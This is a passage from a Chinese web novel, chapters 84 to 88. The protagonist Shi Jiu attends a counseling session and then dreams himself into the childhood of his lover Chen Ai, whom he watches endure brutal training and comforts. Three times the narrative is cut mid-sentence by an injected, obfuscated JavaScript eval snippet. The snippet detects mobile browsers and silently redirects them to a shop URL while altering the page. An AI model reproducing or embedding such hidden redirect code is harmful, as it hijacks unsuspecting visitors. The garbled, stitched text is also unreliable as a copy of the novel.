时咎犹豫着,不知道说什么,目光便去看那幅画,总感觉看到蓝色的海就像看到他的眼睛,他的眼睛可以带给自己所有的答案。 “我……感觉不太好,很焦虑。” 李老师说:“那你觉得是什么事导致你的焦虑?” 时咎抿唇,他依然没有做好心理准备要把这件事说出来,但是又找不到合适的事件去代替,想得有些头脑发昏、坐立难安起来。 李老师出声打断他的焦虑,说:“这样吧,我们休息一下,你可以坐着,也可以躺着,听我说好吗?” 时咎点头,就着自己现在的姿势,抱着枕头往后靠,整个人跌进柔软的沙发里面。他抬头,便看到了时钟,看到的一刹那,秒针的声音明显起来。 “好,现在我们闭上眼睛,把所有的注意力都集中在你的呼吸上,慢慢感受气流流过你的鼻腔,慢慢地深呼吸,每深呼吸一次,你的身体都会放松一些。” “慢慢地,放松。” “接下来我倒数五个数,数到一的时候,允许自己进入完全放松的状态。” “五、四、三、二、一。” “砰!” 时咎感觉自己落入深海,无尽的海水挤压与气泡的流逝,而自己就在这片窒息里慢慢深潜到海底,却没有想象中的沉溺,他还可以呼吸,也可以睁眼。 “你的眼前有一面镜子,看得到吗?” 那面镜子就在海底,高高耸立着,时咎用力游到它面前。 “从那镜子里,你看到了什么?” 原本以为是面普通的镜子,游过去便能看到自己被水搅乱的衣服与头发,但当他出现在镜子面前时,看到的却是残垣断壁、烈火尸体,一个从来没见过的场景,于是他猛然往后退了两步。 “看到这些东西,你有什么感觉?你想怎么做?” 时咎稳定心神,捏住自己的拳头,在冷静下来后,重新慢慢靠近镜子,再去看,发现尸体消失了,烈火也消失了,只有战争后破败的砖瓦。但不止,地上有血迹,一滴一滴好像沿着某个地方离开了,只是从镜子里看到的画面有限,他不知道血迹延伸去了哪里。 于是时咎往前走了一步,去触碰那面镜子,而镜子如水纹般荡漾开,他的手穿过了那面镜子。 “你为什么想去镜子里面?” 时咎想,刚刚那具尸体或许不是尸体,只是受伤倒在那里,一不注意,他便走了,但是这荒凉的景象哪里有能救助他的人,想去镜子里帮他。 他毫不犹豫地闯入镜中的世界,一进去,画面就变了,变成了一条长长的走廊,他站在走廊的一端,另一端亮着一盏灯,但从一头到另一头的中间,满满堆叠的都是尸体。 时咎猛地睁开眼,整个人从沙发上坐了起来。 他大口喘着气,时钟嘀嗒的声音让他知道自己在的地方依然是咨询室,没有海底,也没有走廊。 那股熏香的味道正好淡淡传来,很快让他的心神安宁下来,他便又向后倒,把自己砸到沙发里面。 李老师柔和说:“你在担心一个人,或者一段关系的死亡,虽然你很想维持它。” 即使什么都不说,心里想的依然会从眼神里、情绪里流淌出,时咎是知道的。 李老师抬头看了一眼他身后的挂画,问:“从上一次来我就观察到,你好像很在意这幅画,他让你想到了什么?跟你心里的人,或者那段关系有关吗?” 时咎沉默了半晌,还是把整件事的来龙去脉说了。李老师听完也只是点头道:“你完全不用担心,现实、意象、梦,都只是一个名词,梦里的人清醒过来,又坠入更深的梦,于是我们把它叫做:现实。每个人眼里的现实又都不一样,但现实只是现实,是你平常对待的每个当下。” “你不知道身边出现的哪个人,就是谁的梦,不 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好巧不巧,剧本叫《梦魇》。 时咎要龙套的那个角色是主角坠入梦境后,进入一家精神病院遇到的人——一个生活在精神病院里的正常人。 摄影棚里,制景搭建了半个精神病院的模型,他要出现的镜头就是跟着主角从精神病院里逃出来后,原本以为离开梦境,却掉进了另一个更恐怖的场景,台词不多,几乎都是奔跑类需要体力的镜头。 “打开门,你们就从门里冲出来,摔在楼梯间地上。”那天遇到的女生拿着剧本过来给时咎讲,末了又自言自语了一句,“总感觉从精神病院的房门逃出来摔在地上,镜头切换到另一个场景不够震撼。” 她想把门当作一个连接两个场景的锚点,但对于梦境来说有些正常了。时咎看她在剧本上标注了些东西,愣了一下,说:“可以把最后一个镜头改了。” 旁边立刻凑了人过来说:“你居然让王秋蕴大导演临时修改镜头!” 时咎尴尬地笑了下,然而这位王导阻止了旁人的调侃,问:“还有什么办法可以呈现梦的无序性,但是不以破门而出这样的表达方式?” 时咎的脑子里出现了很多画面,但那些画面一出现,他的思绪就飘远,半晌,他淡淡开口道:“他们可以偶然发现病院的窗只是景色的粘贴纸,打碎玻璃摔出去,直接到下一个场景。” 女生立刻说:“哎可以,但是下一个场景是古墓,从现代到古代,用什么小细节衔接最好?就是,是那种古代也会有,但一看就是现代的东西的细节?” 时咎沉默两秒,低沉说:“进入古墓开头的灯,长明灯,但是用同位素光源的长明灯。” 女生的手停滞了两秒,接着她说:“很好!非常好!特别好!牛逼!” 时咎:“……嗯。” 他闭眼。 不知道这样的日子还要等多久,两个月的心理折磨,熟悉的工作也都暂时中止了,帮人拍完单场戏后,他大多数时间自己呆在独居小屋里看书,其他时间什么都不想做,好像动作稍微多一些,思虑多一些,就会决堤。 下雨的夜晚。 时咎如往常一样安静坐在床上,戴着他那副宝蓝色钻石光泽的带链眼镜,手里捧着的是博尔赫斯的诗集。 今晚的宇宙具有遗忘的浩淼,和狂热的精确。 我徒劳地想摆脱自己的躯体, 摆脱不眠的镜子,它不停地窥视, 摆脱庭院重复的房屋,摆脱那个泥泞的地方, 那里的小巷风吹得有气无力,再前去便是支离破碎的郊区。 我徒劳地期待, 入梦之前的象征和分崩离析。 ——《失眠》 淅沥拍打在窗户上饶有韵律。 时咎感觉自己有些昏昏沉沉,但并不觉得奇怪,因为失眠的这两个月几乎每天都是昏昏沉沉的,醒着不像醒着,睡了也好像没睡。 直到他从模糊中睁开眼,看清了眼前的场景。 ——言威老宅的公园。 85. 第 85 章 时咎听到自己大脑里“轰”的一声,无数情绪瞬间爆发出来。 他回来了!! 他第一个反应就是沉皑回来养伤了,之前一直无法到这里,或许是因为他也处于昏迷的状态,但总之现在回来,一定是一切都过去了。 时咎给自己找了完美闭环的解释。 而他此时就站在公园和房屋连通的那扇门边。门里有人在说话,时咎心想或许是沉皑和季水风,或者那位夫人,但他凭空出现在别人家里,要怎么向夏癸解释? 算了管她的。解释总是能解释的,他无法再忍受多一秒看不到沉皑。 然而那推门的手已经放到门上了,时咎却猛然顿下动作,他听到了一个很久没听到过的声音。 “今天的表现很糟糕,这段攀爬用了接近20秒!” “还有中间这段,这块石头的位置在右上方,你前一块踩在足弓上怎么转身!” “手腕还受伤了?说了多少次攀爬这种石头手腕要放松,要平行!拿你的指尖去扣石头!” “不许哭!今晚的休息取消!12点回来睡觉,明天5点继续!” 响起了脚步声,但那脚步声很快也消失了,只留了几声微小的啜泣,不过几秒,也都没有了。 时咎愣在原地没动,随后缓缓收回手。是言威的声音,失踪这么久终于回来了?他在跟谁说话?在教什么?沉皑是不是在自己房间里? 正想着,那扇门却被推开了。还不确定情况,既然言威在这里,他就不能轻举妄动,于是时咎立刻闪身躲藏到门后。 然而推门的人非常警觉,那人立刻察觉到有声音,“啪”关上门后迅速转身,抬手便把黑暗中的人压制在墙壁上,时咎眼镜链条上的珠子碰撞着响。 “谁?”对方喝道。 来势汹汹,力道十足。 时咎被推得背撞在墙上还觉得有些疼,但很快就发现不太对,因为对方太矮了,即使扑过来的力丝毫不逊色,奈何他压制不到自己的身高,掐不到自己的脖子,只能束缚住两只手。 于是时咎猛地用力就抽出自己的双手,再反手擒住对方的手腕,把他往自己的方向拉,借力调换位置,又把对方死压在了墙上。他听到了对方倒抽气的声音,好像弄疼了,时咎突然想起刚刚言威说他手腕受伤,于是便将束缚他的手往下挪了几分。 黑暗中看不清他的脸,只能听到急促的呼吸。 对方挣扎半天,堪堪能动,但无法彻底挣脱。 时咎大致感受了一下,面前是个小孩的身高,不到他的肩,应该不足一米五。这小孩力气挺大,但对于一个成年人来说还是差点。 那小孩挣扎两下发现挣扎不出去,正要开口喊,便被时咎一巴掌捂住了嘴。 “别叫!”时咎低声说,他立刻转头看了一眼四周,听见屋子里一点响动都没有,周围好像也没人,这附近应该是没人能听到这里的声响了,便开口低声问道,“你是谁?言威什么时候回来的?沉皑呢?” “唔唔。”小孩呜咽了两声,随后被时咎放开了嘴,然而时咎刚一放开,顿时感觉虎口一阵痛。 这小孩竟然咬他! 时咎吃痛,手松了一瞬间,这小孩趁着这个空隙往下一钻,转身就往屋子里跑,边跑边要叫,但刚没跑两步,呼喊也没喊出声,就被时咎一把抓住衣服扯了回来,顺便忍着疼痛的手再次捂住他的嘴。 这次,时咎直接把这个小孩扛起来往公园深处跑。他不能让这小孩暴露他的存在,言威出现在这里本身就已经不太对了,得把这小孩处理或者买通一下再去找沉皑,反正他已经回来了,也不着急这几分钟。 在挟小孩奔跑的过程中,他发现公园是记忆中的公园,那些路和装饰也大差不差,但是时咎总觉得有哪里不太对。 将小孩一路扛到公园最深处的小树丛里放下,结果这小孩双脚一沾地,就朝时咎猛扑过来。他的速度很快,但没有快到看不清,所以他朝时咎挥拳时被时咎接了个正着,再反手往后拧,瞬间把他的手拧在背后——这都是沉皑教他的。 小孩痛叫了一声,时咎二话不说迅速脱下衣服,又把小孩的外套扒了,当成绳子将小孩的双手绑在身后捆了个结实,又将他双腿绑在一起。接着再轻轻一推,那小孩就毫无抵抗地摔在了泥土地上,像一个任人玩弄的要倒翁。 “啊!”小孩吃痛大叫,他一反应过来就开始喊救命,然而这里离住宅还有些距离,没人听到。 时咎原地坐下,看着小孩愤恨地挣扎但就是无法挣脱的样子,轻哼了一声。 生活在言家这几个人,言威、沉皑、季山月、季水风,他没一个打得过的,不过欺负欺负小孩还是可以的。 半晌,小孩挣扎累了,躺地上不动了,只有眼睛还愤懑得快要喷火。时咎无所谓地看着他,开口道:“喂,能回答我了吗?你是谁?言威什么时候回来的?沉皑呢?” 小孩发现自己被绑到小树林里必死无疑、又没有想象中那样被残害后,终于冷静下来,他就着被捆绑的状态坐起来,冷漠地说:“问别人之前先介绍自己。” “啧。”时咎发出不耐烦的声音,他不想在这里耗太久,他得找到沉皑,于是他站起来走到小孩旁边蹲下,一手抓过他的下巴企图说点什么威胁他。 结果这一抓便愣住了。借着不远处的路灯,时咎看清了这个小孩的脸,稚嫩却倔强的面庞,但让时咎一时间脑子转不过来的,是他深蓝色的眼睛。那双眼睛就这么愤恨地瞪着他。 被深蓝色眼睛看过无数回了,时咎当然知道这是货真价实的。 他微微张嘴,脑子里想了几种可能性,最后拧眉,不太能相信地问:“你是沉家的?” 他不知道还有哪个沉家的小孩在言威家,从没听说过,而且也不可能是沉皑的孩子吧?看这个小孩的年龄,五六岁应该是能对上的。但时咎转念一想又不对,沉皑说过他以前救的那个小孩是捡的。 对方根本不想理他,只是嫌恶地往后仰,把下巴从时咎手里拿出来,又侧向另一边,一个正脸也不想给,满满的都是倔强。 时咎的疑虑更重了,因为他忽然发现,这小孩的侧脸……真的很像沉皑。他看过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187377|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无数次,他经常都在观察沉皑的侧脸,虽然当下这个小孩子五官都很稚嫩,轮廓也是圆润的,但是走向却是一致的,不难想象出这个孩子长大了会是什么样。 于是时咎不太确定地问:“你是沉皑?” 小孩朝他翻了个白眼,气冲冲地回答:“不是!那是谁?你又是谁?私自跑别人家,被言叔叔知道了你就死定了!” 不是?言叔叔?不知道沉皑是谁? 他看不懂了,时咎想了想,继续问:“那季水风和季山月呢?” 对方被他问烦了,暴躁回答:“不知道!不认识!你到底要干什么?莫名其妙跑别人家,把我绑到这里!” 时咎缓缓站起来,不理会对方的怒火。他大概在四周绕了一下,发现和上次被沉皑带着来时相比,现在的公园更空一些,很多细节没有被填充上,好像有的该有花有草的地方这儿都没有,树也不如上次来的时候浓密,虽然大致走向、小径的方向是一样的,不过就是那些细节让他第一眼看到的时候觉得不太对。 是不是某个梦中的平行世界?时咎又看了眼地上坐着的小孩,他走过去,再次蹲在对方面前,仔细打量起这个孩子的脸,一笔一划都跟记忆里相差不大,最大的区别只有眼睛里的神态。 他说他不是沉皑,没有季水风和季山月,但是言威在,公园也在,连这标志性的蓝色眼睛也是对的。如果是平行时空,是不是这个世界没有他们? 应该不会。时咎思来想去企图找到别的可能性,突然想到了刚刚睁眼在门边听到言威的声音时,言威说的那几句话。 言威:“手腕要放松,指尖扣石头。” 沉皑:“爬的时候手腕放松,用手指尖接触支点,别往下看。” 沉皑说过几乎一模一样的话,跟记忆是一样的。 如果不是平行时空,还有一种解释。于是时咎一巴掌拍在地上,把对方吓一跳,他一字一句认真问道:“你家住在海边的半山腰上,你是不是一直觉得沉家隐居是个错误的选择,所以自己来找言威,以后想做掌权者?” 对方也没料到他问出的这句话,整个人抖了一下,随后皱眉说:“你怎么知道?你到底是谁?” 时咎:“……” 他的梦回到沉皑小时候了。 麻烦了…… 岂料那小孩随后又接了一句:“算了,你能不能动作快点?” 时咎抬头看他:“快点什么?” 对方愤懑:“你不是想杀我吗?” 时咎张嘴,半天说不出一句话。按照常规,他此时应该说:啊对我想杀你,但我得想个好点的死法,让你死得没那么难看。可他意识到现在面对着这小鬼是小时候的沉皑时,那些无所谓乱说的话就说不出来了。 他满心都在祈祷沉皑的安全,即使看到的是过去的他,不负责的话也说不出口。 于是他默默蹲下,在小沉皑惊异的眼神里把他手脚的束缚解了,顺便拍了拍小沉皑外套上的泥土递给他说:“我杀你干什么?赶紧穿上,别感冒了。” 这小孩一定觉得他有病! 86. 第 86 章 小沉皑确实是这么想的,他活动活动自己有些麻木的四肢,犹豫了一下接过自己的外套穿上,心里升起了无数疑惑。 这个人好像没有恶意。 于是小沉皑试探性地问:“你是不是走错路了到这里来了?” 完全不知道怎么回答的时咎:“嗯。” 他想了想接道:“也不是,我是来找人的。” 既然不是敌人,也没有敌意,就没必要针锋相对,小沉皑追问:“那我帮你问问?” 这小孩小时候还怪善良的。时咎朝他挥手说:“算了,不用,你言叔叔不是说你今晚休息取消?赶紧去做你自己的事。” 小沉皑看着这个人莫名其妙的,于是嘟囔着转身走了,一边走一边还回头,看看是不是真的安全让自己走了,万一等会儿背后偷袭呢?结果他小心观察了一路,后面的人都没有追上来,是真的放他走了。 时咎原地深深吸了口气,一屁股坐在地上,他埋头,想用双手遮住脸,但一抬手却碰到自己的眼镜,这才想起他原本是坐在床上看书,那会儿戴着眼镜就睡着了。 好不容易回来,却到了一个意料之外的时间线,但也好,总之是遇到了。 问题又接踵而至,他之前一直在正常的时间线上,按照顺序经历了那些时,现在突然不知道因为什么原因到了另一条更早的时间线,他是不是得从这个时间线重新开始慢慢生活? 之前在沉船上,他和沉皑讨论过时间倒流的问题,沉皑说,一个微小的错误会引发无数祖父悖论和蝴蝶效应。这句话时咎是认同的,但他现在到这个地方,是不是势必要改变某些因果? 问题在于,这种不安还是没能消减,既然他和沉皑在正常的时间线里相处这么久,那小时候的沉皑肯定也是安全长大的,他不需要担心,只要自己不多做干涉。 他担心的只有他从仓库消失后的沉皑,后面到底发生了什么?他有没有安全离开?这条时间线的最后到底发生了什么? 越想越焦虑,好不容易麻木一些的心又开始活动起来。 公园的路灯是开着的,大致能照亮它路的轮廓,虫鸣鸟叫窃窃私语,不远处一个小小的身影在一上一下,飞速地往上攀爬,一会儿又垂直掉落下来重新继续爬,没过多久,他累得坐在地上气喘吁吁,休息两分钟,便又开始了下一个训练。 时咎沿着小径走,心想应该没有人会来,便逐渐地走到大路上了,临摹着之前沉皑带他走过的路,最后停留在离黄土围栏不远的地方。 如沉皑之前所说,他小时候确实一直在这里训练。 时咎躲在一棵大树的阴影下,时不时看一眼在那片黄土上奔跑的身影,那个身影一秒也没有停,翻过双杠,踩着小河流上的石头往前冲,翻身越过一个小土坡,稳稳落在人造假山上,迅速弹跳起又在半空中抓住某个石块,飞速往上爬,爬到顶端,站在上面一跃而下,丝毫不差地落在地上画的圆圈里。 不清楚这具体是哪一年,他多少岁,不过肯定不大。时咎心想,自己在长他这个样子的时候,还在幻想自己是武侠主角呢,而沉皑已经是主角了。 小沉皑练了多久,时咎就在那站着看了多久,直到“吱呀”一声,门开了,时咎迅速躲闪到树干背后,接着他听到了言威的声音。 “重头来我看看。”他说。 小沉皑没有回话,但时咎听到他的脚步踏在土上的声音,没一会儿,那脚步便飞速奔跑起来。 或许是在验收今晚的训练成果,时咎不敢侧身去看,一动也不敢动,担心被言威发现了。 “好,昨天教你的招式练熟了吗?”言威问。 时咎没有听到回答,他想或许小沉皑是用点头或者摇头来回答了,果然马上言威就说:“好,跟我打一下。” 那边传来身体触碰和脚踩黄土的摩擦声,还有小沉皑剧烈的呼吸,没多一会儿,便是他吃痛的叫声。 言威怒道:“不准停!继续!” “左手放哪儿了?破绽全出来了!” “差一点!又是差一点!注意力集中!” 接着一声小小的闷响,“砰”一声,打斗声停止了。小沉皑咳起来。 言威严厉道:“没练好,明天继续,老是开小差,你在顾虑什么?顾虑别人杀不了你吗?去,再到假山上去跳下来!” 小沉皑一声不吭,只有突然爆发的脚步和凶猛的喘气,直到最后一个脚步声重重落下之后,言威说:“嗯,还可以,这项训练下周开始要再缩减一秒。走吧,回去休息。” 一个沉稳的步伐带着一路小跑,好像还有点一瘸一拐的步子很快消失在公园里,门被关上了。 时咎松了口气,慢慢走出来,脸色并不好。 这个时候的沉皑才多大啊。 他们离开之后没多久,公园所有的灯都熄灭了。 他或许应该从这个梦里离开,尝试重新回到该有的时间线上去,但梦的醒与睡并不受他控制。 时咎回到公园最深处刚刚绑了小沉皑的地方,想在这儿休息又不至于很容易被发现人家的私家公园里多了一位不速之客,再重新理一下最近发生的事。 他从来没有做过这样的猜想,所以无论如何也没料到季山月会做出那样的行为,现在尚不清楚原因,但他确实是看到了。是从什么时候开始,季山月有些不对劲的呢? 时咎躺在一堆树叶里,石头成了他的枕头。 最近季山月和季水风总是在分头巡查,从舟之覆和凌超建屠杀能力者开始。他们正面撞上时,季山月是完全正常的,甚至因为对言不恩的伤害而爆发杀掉了凌超建,再就是仓库的时候,季山月和季水风一起赶来,季山月虽然冲动,但不至于完全没脑子一样使用能力,那能力是货真价实打出去了——季山月就是抱着杀了舟之覆的决心。 所以季山月同舟之覆、凌超建必然不会是同一个阵营,那两人做事有依据,季山月没有。 没有依据的事最近还有一件,就是季水风受到威胁的事。 如果说……但不可能…… 突然从脑子里冒出来的猜想让时咎觉得一阵毛骨悚然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187378|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,全身鸡皮疙瘩都起来了,因为他忽然发现,每一次针对季水风的屠杀,季山月都不在场。季水风接到医院电话的时候,他们三个在单赫的办公室,季水风去了医院,后来又去了孤儿院,最后他们三个在孤儿院汇合。当时季水风说季山月在巡查,之后应该会回老宅,但是晚上他们回老宅后,夏癸说季山月一早就走了。 他都不在。但是到这里,也是可以解释的,可以解释为季山月被绑在安全管理中心的顶楼,他被某个神秘人当作报复对象,用分子绑结束缚在树枝上。再后来一次便是他们追着舟之覆和何为进入政务大楼的时候,从天而降无数张纸条,那个时候季山月也不在。 如果按照季山月就是针对季水风的那个人的结论往前推,只能把天台的绑架解释成自导自演,但那千钧一发,他怎么保证自己的安全?除非是在给自己打死结的同时,做了另一重保险,比如绑上什么其他透明丝线…… 这样一来,当时时咎的疑惑全部明了。季山月坠楼却停住、绑结自动打开便能得到完美解释了——他早就策划好了。 退一万步,是他自导自演,但那是季水风啊。 季山月不可能针对季水风,而且用这么恶劣、几乎是彻底摧毁一个人心理防线的方式,他们姐弟之间不应该存在这种仇恨。除非,和那件他俩都没说的事有关。 然后就是沉皑,季山月变成那个样子后,他第一个杀的是沉皑,沉皑却说他们之间没有发生任何不对的事,他们三个从小一起长大。 一起长大…… 时咎倏然睁开眼,眼前是密布的树叶,树叶背后是星空,万籁俱寂,一切都尚未发生。 现在的沉皑说不认识季山月和季水风,说明这是在他俩来这之前的事。时咎记得季山月说过沉皑是自己独自一人训练两年后,他们才加入的,那他们多久才会出现?如果自己留在这儿,是不是能发现些什么? 但愿来得及。 小沉皑的训练每天都在进行,过一段时间就会提高难度,他的睡眠时间很少,几乎是在时咎觉得可以休息了的时候他还没睡,时咎觉得一天开始的时候,小沉皑早就在那片黄土上了。 言威很大部分时间或许都去了文明中心,在对沉皑教导了一些东西后会直接让他自己练,有时候也会有其他人来陪练。言威本人则多数是晚上天黑没多久来验收一下当天的训练成果。 没过几天,来了一群人把那用以训练攀岩和跳跃的的假山又堆高了两米,或许是徒然增加的高度,或许是夜晚耗尽的体力,那天也不知道怎么回事,小沉皑突然从山上摔了下来,一直以来都躲在小树林里的时咎看到,心口一跳,也是不管不顾冲出去了——他好像一个偷窥狂,一直注视这沉皑的一举一动。 时咎抱着这掉下来的小孩就从黄土边滚了好几圈出去。 停下来的时候,或许小沉皑都已经做好了摔伤的准备,原地躺趴了好一会儿才站起来,他瞪着眼看了时咎半天,才不解说:“怎么又是你?” 时咎心想,我总不能说我一直躲在小树林里看你吧? 87. 第 87 章 其实也不全是,看小时候的沉皑是一部分原因,另一部分原因是他在等季水风和季山月姐弟。 两人大眼瞪小眼好半天,时咎先开口:“累了吗?湖边休息会儿?” 小沉皑看着他的眼神还是很防备,但又想起这个人到底是没伤害他的,犹豫半天还是点头。 一大一小坐在湖边的凳子上吹风,湖里的荷花开得很好,映照出月色很像诗里的场景。 尽管没有打起来,也同意了一起休息,小沉皑的怀疑始终没有打消,他问:“你到底是谁?为什么来我的公园?” 时咎不知道怎么解释,他想,沉皑这个人吧,疑心还挺重,一开始遇到就是,不给他解释清楚估计会一直纠缠不清抓着不放,解释的话还得找个走心一点的理由,因为这个人的心非常善良。 思来想去,时咎编了一段故事。 他说,以前他也是住在这附近的,他还有几个朋友,小时候他们天天在一起玩,度过了非常愉快的童年,后来有一次他们在出去玩的过程中出了事,他的小伙伴们全都失事身亡了,从那以后他每天哭,觉得自己再也没有伙伴了,他的家人怕他伤心过度,就带着他搬走,离开这个伤心之地。 但是他舍不得这里,舍不得他们曾一起度过的美好时光,好像只要他还在,总有一天他的朋友们回来还能找到他,于是他就总是跑回来等他们,最开始他的家人还会来找,一天一天,后来他们也不想管他了,就随便他去。 但是他真的很怀念小时候的时光,怀念他熟悉的地方,怀念他爱着的那群伙伴,他们以前有过约定,知道这个私人公园里很漂亮,想等某天他们一起翻墙进来玩,可是还没有兑现,意外就发生了,现在只有他一个人进来,终日徘徊,他想在这儿等他们回来实现诺言。 一个漏洞百出、漏得时咎一边说一边咬舌头的故事,说到后面,时咎觉得自己的脸都是麻的,一种无形中被扇了几巴掌的错觉。主要是,这小孩要是不信,那真的无解了。 结果,小沉皑听得很认真,甚至浮现出了同情的表情,他似乎很感动,听完还喃喃道:“我以为那天你要杀我,原来你是在等你朋友。” 时咎很认真:“是的!”认真的嘴说认真的话,实际双手在背后尴尬扣得指尖发麻。 两个人安静坐着,时咎看见小沉皑脸上的汗干了,干成两条痕迹,觉得有些心疼。 小沉皑抬头,眼神坚决地说:“你要是不介意我也可以做你的朋友。” 时咎:“……嗯。”好像这个故事有点过了。但他真没想到沉皑小时候这么好骗,也许不是好骗,他这完全是利用了别人的善良。 没事没事,以后我一定补偿回去。时咎愧疚地想。 小沉皑也许是觉得自己这句话对于一个刚见面两次的人来说显得过分热情,他立刻收回了表情,挂上他标志性淡然的神色说:“我叫沉长,沉默的沉,长短的长,你叫什么?” “沉长?”时咎愣了一下,忽然有了点印象。 “嗯。” 时咎问:“为什么叫这个名字?” 也许对方也没想到会有人对自己的名字提出质疑,很奇怪地回答说:“父母取的啊。” 时咎想了想,说:“不好听。” 好没礼貌。小沉皑撇过头,目光看向了一会儿还要练习的假山,他不太想理旁边这个人,因为说他名字不好听,但是当他看见这个高高的假山,又想到如果不是因为他,自己这摔下来要受伤,又要被骂,于是便忍了。 他问:“那你觉得什么好听?” 时咎毫不犹豫说:“沉皑,白岂皑。” 只见对方点点头,没有给出评价,不拒绝也不答应。 “那你到底叫什么?”小沉皑追问。 时咎哑巴好一会儿,不知道是否该用真名,思索后,决定告诉他小名,听着更亲切。 他说:“小久。” “哦。” 没多久,小沉皑便站起来拍了下身上的泥说:“我要继续训练了,你随便干什么,别被言叔叔发现就行了。” 时咎道;“好。” 孤独训练的小沉皑多了一个朋友。 为了防止被突然的闯入逮个正着,时咎大多数时间是在小树林里,但小沉皑训练休息的时候,偶尔也会带点东西到小树林找他。 “夏阿姨刚拿回来的水果。”小沉皑说。他坐在地上,气喘吁吁的。 时咎柔和道:“谢谢。” “不客气,我走了。” “好。” 小沉皑刚刚回到围栏边,老宅的门便被推开,言威走了进来,发现他没有在训练,严肃呵斥道:“又在偷懒!我看看你今天练怎么样了!”说完就朝他稳步走过去。 最近大概是背后偷袭的反应力,言威的每一招都是趁着小沉皑背对他的时候打下去的,小孩的反应力没那么快,一下一下挨痛。 “慢了!” “又慢了!你在想什么?” “后背露出来是专门让人打的吗!” “又是差一点!沉长!你看看你自己的表现!” 小沉皑被打得浑身是伤趴在地上喘气,汗和血混着往下流,好像一下都动不了了,但言威并没有放过他,继续呵斥:“动不了了就是死!”说完又抬腿,从上往下朝他劈下去。 但小沉皑觉得自己已经又痛又累得动不了了,即使感受到那风声下来,意识知道自己该翻身躲,身体却完全不受控地愣在原地,那一脚便活生生挨在了背上。 “噗,咳咳,咳咳咳。”他猛烈地咳起来。 言威冷脸看他说:“我连一成力气都没用到,赶紧起来,任何时候,越是动不了,越要调动身体去躲,不然就会像你现在这样,被人当成案板上的肉!”说完他转身往房间里走,一边走一边说,“今天就这样,自己处理伤口去休息!” “砰!”门被甩上。 时咎一秒都没有犹豫立刻从外面的树林里冲了出来。 好恨。时咎觉得自己的手微微颤抖,好像刚刚被打的不是小沉皑而是他。他将小孩从地上抱起来,看他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187379|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上都是血,咬着牙骂了一句:“操!你才多少岁啊!” 小沉皑觉得很痛,只是紧闭着唇不让情绪露出来,在感觉自己被抱入一个柔和的怀抱时,他睁开眼。 时咎焦急的脸出现在眼前,他在问:“你怎么样?痛吗?”说着,他就把小沉皑整个抱起来。 小沉皑的手往门口指了指,时咎看到公园门口的柜子里放了医疗品,他立刻飞身过去拿。 给他消毒止血和包扎,小孩子疼得龇牙咧嘴也一声没吭,直到时咎来回检查了半天,确认没有落下什么地方,才烦躁地松了口气,火气冲天地问:“他就这么对你吗?” 小沉皑埋着头,半晌,他轻轻点头说:“训练的时候是这样的。” 时咎:“你怎么不说?不痛吗?” 小沉皑一愣,说:“痛。” 时咎烦死了,伸手去摸他的脸,看到他蓝色眼睛里的懵懂与不解。 时咎惊觉自己的担忧表现得有点过了,立刻将手缩了回来,但下一秒,他又毫不客气地重新把手伸出去,捏了下他稚嫩的脸。 想关心就关心,担忧就是担忧,不想装模作样。 小沉皑愣愣地,他问:“你怎么这么担心我?” “因为……”时咎看向他的眼睛,心说,因为,在未来我很爱你。 “因为我们是朋友。” 小沉皑很少交朋友,在家的时候大部分只有父母,偶尔出去和别的小孩玩也是肤浅的交集,他做不到成年人那般交心,加之性格的思虑,很少会和同龄人来往,来了言威这儿之后更是再没有接触过谁,面对的永远是汗水与痛苦。 被朋友担心和关心,和被父母担心关心的感觉又不一样,这种感觉让他觉得心里像开出一朵蒲公英,风一吹,心事便各自欢腾、欢呼雀跃着飞向未知。 于是小沉皑认真说:“你现在是我最好的朋友。” “我……”时咎吐出一个字,不知道如何回应。小孩的信任与真心,给得如此随意又珍重,稍微对他好,他便把心捧出来了,这样以后是会被骗的。 时咎郑重说:“我会记得的。好了,不早了快回去休息。” 小沉皑走的时候还有点舍不得似的,频频回头,想起什么又转过身问;“你住哪里?” 时咎说:“你休息了我就翻墙回去。” 小沉皑点头:“哦,明天过来陪……等,等你那群朋友吗?” 时咎直接顺着他想说的话说:“明天来陪你。” 他的眼睛亮了一下,好像有点开心,又不敢太开心,匆匆说了晚安便转身进入老宅里。 这小孩从小就这样,有话不直说,不过小时候藏得还不是很好。时咎心想。他不相信口误,就心理学的角度来说,一切口误都是潜意识的表达,只是在表达出来后,在意识、道德、各方面的考量下,强行修改成更符合社会规范的话。所以他只听到了小沉皑问来陪他吗,而不是后面那一句尝试掩饰真心的话。 还是很担心他,在未来,他会在做什么?真的还能再见到吗? 88. 第 88 章 